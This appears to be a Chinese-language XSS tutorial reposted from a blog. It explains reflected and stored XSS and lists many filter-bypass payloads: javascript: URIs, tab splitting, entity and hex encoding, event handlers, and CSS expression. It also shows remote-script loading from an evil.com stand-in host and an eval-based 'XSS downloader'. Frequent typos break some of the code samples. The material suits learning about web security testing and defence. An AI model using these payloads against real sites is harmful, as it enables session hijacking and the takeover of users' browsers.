XSS (1)

XSS的分类

反射型XSS:

反射型跨站脚本也称作非持久型、参数型跨站脚本,这种类型最常见,也是最广使用的。主要用于将恶意脚本附加道URL地址的参数中

http://www.test.com/search.php?key="><script>alert("xss")</script>
http://www.test.com/help.shtml?query=%3Cscript%3Ealert%281%29%3C/script%3E
http://www.test.com/logout.asp?out=1&url=javascript:alert(document.cookie)

由于恶意URL暴露,攻击者往往会精心布置一切

通过各种编码转换,使用十进制,十六进制等编码迷惑用户

持久型XSS:

持久型跨站脚本也等于存储型跨站脚本,比反射型跨站脚本更具威胁,并可能影响道Web服务器自身的安全

XSS Cheat Sheet

访问:http://ha.chers.org/xss.html

查看常见的XSS攻击脚本列表

XSS构造刨析

绕过XSS-Filter

为了防止跨站脚本攻击,会在Web应用中设计一个XSS Filter,即跨站脚本过滤器,用于分析用户提交的输入, 消除潜在的跨站脚本攻击等

它一般是基于黑白名单的安全过滤策略,实际上是一段精心编写的过滤函数

下面展示一些XSS Filter的测试用例:

1. 利用<>标记注射HTML/Javascript

如果用户可以随心所欲的使用<>等标记,它就能操作一个HTML标签,通过<script>插入恶意脚本代码

2. 利用HTML标签属性值执行XSS

假设用户不能构造自己的HTML标记,但是他们还可以用其它形式执行XSS,例如HTML标签的属性值。

很多html标记中的属性都支持javascript:[code]为协议的形式,这个类型声明了URL的主体是任意的JavaScript代码,由JavaScript的解释器运行。

所以,用户可以利用部分HTML标记的属性值进行XSS

<table background="javascript:alert("XSS")"></table>
<img src="javascript:alert('XSS');">

并不是所有的Web浏览器都支持JavaScript伪协议

也并不是所有的属性值都能产生XSS,通常只有引用文件的属性才能触发跨炸脚本

可以通过以下属性来测试XSS:

href=
lowsrc=
bgsound=
background=
value=
action=
dynsre= ...

要防御基于属性值的XSS,就要过滤JavaScript等关键字

3. 空格回车Tab

如果XSS Filter仅仅把敏感的输入字符列入黑名单处理,用户可以利用空格、回车和Tab健绕过

<img src="javas cript:alert(/xss/)" width=100>
注意javas和cript中间的不是空格键添加的,是【Tab】键添加的。

用户还可以构造下面的代码形式绕过JavaScript等关键字过滤

<img src="javas
cript:
alert(/xss/)" width=100>

4. 对标签属性值转码

除了对html标记的属性值进行过滤,还可以通过编码处理来绕过,因为html中属性值本身支持ASCII码形式

<img src="javascript&#116&#58alert(/XSS/);">

为了防范利用HTML标签属性编码的XSS,最好也过滤&#\等字符

5. 产生自己的事件

假设用户不能依靠属性值进行跨站

我们知道,JavaScript与HTML之间的交互是通过事件来实现的,事件就是用户或浏览器自身执行的某种动作,比如:click,mouseover,load等,而响应事件的函数就叫做事件处理函数

<input type="button" value="click me" onclick="alert('click me')" />

单机click me后,会出发onclick事件,然后执行JavaScript代码

既然事件可以让JavaScript代码运行,意为这用户也能利用它执行跨站脚本

<img src="#" onerror=alert(/XSS/)>

JavaScript代码理所当然的执行了。onerror是IMG标记的一个事件。只要页面发生错误,机会立即激活。除此之外,还有大量的事件可以运用:

oneResume
onReverse
onRowDelete
onRowInserted
onSeek
onSynchRestored
onTimeError
onTrackChange...

6. 利用CSS跨站刨析

XSS跨站脚本的另一个载体是CSS样式表

CSS样式表有一个很大的缺点: 各浏览器之间不能通用,甚者可能同意浏览器不同版本都不能通用

<div style="background-image: url(javascript:alert('XSS'))">
<style>
	body {background-image: url("javascript: alert('XSS')");}
</style>

IE5极其以后版本支持在CSS中使用expression,直用expression同样可以触发XSS

<div style="width: expression(alert('XSS'));">
<img src="#" style="xss:expression(alert(/XSS/));">
<style>
	body {background-image: expression(alert('XSS'));}
</style>

上例CSS中的expression执行代码,它用来把CSS属性和JavaScript表达式关联起来

脚本代码通常是嵌入到style标签/属性中。如果应用程序禁用了style标签,用户还可以利用部分HTML标签的style属性执行代码,而且style可以和任意字符标签结合,所以不知要过滤标签,还必须对style属性进行过滤

<div style="list-style-image: url(javascript: alert('XSS'))">
<img style="background-image: url(javascript:alert('XSS'))">

都用了样式表中的URL属性执行XSS,实际上最后一条代码等同于:

<img src="javascript:alert('XSS')">

除此,CSS样式表不需要嵌入到HTML代码中,它能从其他文件甚至不同的目标机器上进行引用,比如使用<link>引用CSS:

假设样式表文件地址为:http://www.evil.com/attack.css,

attack.css为攻击者上传的CSS文件,其中嵌入了XSS代码:

p {
background-image: expression(alert("XSS"));
}

这时候,目标网站的XSS Expliot如下:

<link rel="styleheet" href="http://www.ecil.com/attack.css">

除了使用<link>标签外,在网页中引用外部CSS还可以利用@import将其导入

<style type='text/css'>@import url(http://www.evil.com/xss.css);</style>

其中,http://www.evil.com/xss.css中的内容:

.showCSS{
event: expression(
onload=function()
{
alert('XSS');
}
)
}

由此,@import和link方式都可以轻松的导入外部含有XSS代码的样式表文件

@import还有一个特性,能直接执行JavaScript代码

<style>
	@import 'javascript:alert("XSS")';
</style>

由此,包含expression、javascript、import等敏感字符也要过滤

7. 扰乱过滤规则

正常的XSS:

<img src="javascript: alert(0);">

转换大小写后的XSS:

<IMG SRC="javascript: alert(0);">

大小写混淆的XSS:

<iMg SrC="jaVasCriPt: alert(0);">

还可以双引号变单引号,不使用引号等

除此之外

<img/src="javascript: alert('Xss');">
使用/隔开,在IE6能成功运行
<XSS STYLE="xss:exprEssion(alert('XSS'))">
<div style="{(left: expression(alert('XSS')))}">


当利用expression执行跨站代码时,可以构造不同的全角字符扰乱过滤规则:

<XSS STYLE="xss:exprEssion(alert('XSS'))">
<div style="{(left: expression(alert('XSS')))}">

样式表中的/**/会被浏览器忽略,可以使用/**/注释字符

<XSS STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<div style="wid/**/th: expre/*XSS*/ssion(alert("XSS"));">

除了/**/外,\和结束符\0也是被浏览器忽略的:

@\0im\port'\0ja\vasc\ript:alert("xss")';

还可以将CSS中的关键字进行转码处理

利用字符编码

使用XSS编码工具,以便对字符串进行十进制和十六进制的编码解码。

另外,使用exal()函数,可以计算字符串。执行其中的JacaScipt代码

<script>
	eval("alert('XSS')");
</script>

可以使用\链接十六进制字符串,使用eval()执行十六进制字符串形式的脚本。

<script>
	eval("\x61\x6c\x72\x74\x28\x27\x58\x53\x27\x29");
</script>

eval()也可以执行10进制的脚本,但需要配合String.fromCharCode()。

<img srv="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">

style属性中的javascript、expression等字符一般会被程序过滤,但经过十六进制编码后可以逃避

拆分跨站法

1. <script>z='<script src=';/*
2. */z+='http://www.test.c';/*
3. */z+='n/1.js><\/script>';/*
4. */document.write(z)</cript>

Sellcode的调用

Sellcode:最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞是所执行的代码。在XSS跨站脚本中,是指由JavaScript等脚本编写的XSS利用代码

Exploit:在黑客眼里就是漏洞利用,通常表示完整编写好的漏洞利用工具
POC:一段证明漏洞存在的程序代码片段


动态调用远程JavScript

假设www.bug.com的某个页面有一个XSS漏洞,Exploit如下:

http://www.bug.com/view.php?sort=[Exploit]

可以直接把Shellcode写入URL参数中

http://www.bug.com/view.php?sort="><script>alert(/xss/)</script>

恶意代码暴漏在URL链接中,Web应用程序不仅会对当中的恶意代码进行过滤,也会限制URL长度。所以,Shellcode可以写到其它服务器的文件上,再用<script>动态加载

例如上面,可以在里面添加一个src属性

http://www.bug.com/view.php?sort="><script src=http://www.evil.com/xss.js></script><

除了使用<script>动态调用远程JavaScript,还可以运用基于DOM方法创建和插入节点,把脚本或HTML注入到网页中

var s=document.creatElement("script");                      //使用creatElement()创建一个新元素script
s.src="http://www.evil.com/xss.js"                          //把<script>的src属性设置成"http://www.evil.com/xss.js",xss.js中写有Shellcode
document.getElementsByTagName("head")[0].appendChild(s);    //使用getElementByTagName()函数查找并返回文档的第一个元素,然后利用aooendChild()调用s,追加制定的节点到子节点列表的最后一个

使用 window.location.hash

如果仅仅是为了解决URL长度的问题,可以利用window.location.hash属性

location是JavaScript管理地址栏的内置对象,比如location.href用来管理页面的URL,用location.href=url可以直接将页面重定向URL

而location.hash可以用来获取或设置页面的标签值。比如http://domain/#admin的location.hash="#admin",利用这个就可以做一件事情

http://www.bug.com/veiw.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')
substr()在location.hash.substr(1)作用是抽取"#"后面的字符,即alert('xss');而exal(location.hash.substr(1))功能是执行url的#之后的JavaScript代码,通过这个技巧,就能把ShellCode写到地址参数中在执行

XSS Downloader

另一种存储和调用Shellcode的方法,即将其存储到网站的数据库中,包括网页信息、文章内容、个人资料等地方、然后再下载下来执行

其实就是打造一个XSS downloader,实现把Shellcode写在网站的某个页面,利用XMLHTTP控件向网站发送HTTP请求,然后执行返回的数据

function XSS() {
a=new ActiveXObject('Microsoft.XMLHTTP');              //创建一个XMLHTTP对象
a.Open('get','http://www.bug.com/11211/html',false);
a.send();
b=a.respenseText;                                      //获取responseText,结果返回为字符串
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));  //用indexOf()计算BOF|和|EOF的位置,再用substring()取出字符串,最后用unescape()函数方法解码执行
}
XSS();

而http://www.bug.com/11221.html写入了Shellcode代码

Xx09abcxddxBOF|alert(/XSS/)|EOFxxx44xx1212

备选存储技术

把Xss Shellcode存储在客户端本地域中,譬如HTTP cookie、Flash共享对象等

其中,Cookie是客户端存储技术中的传统解决办法,但是它有个明显的缺点,就是存储的内容有限

在Cookie中存储Shellcode的POC如下:

function setShellCode(code) {
var exp=new Date();
exp.setTime(exp.getTime()+365*24*60*1000);
document.cookie='shellcode='+escape(code)+';'+'expires='+exp.toGMTString();
}

猜你喜欢

转载自blog.csdn.net/qq_41007744/article/details/80313400
xss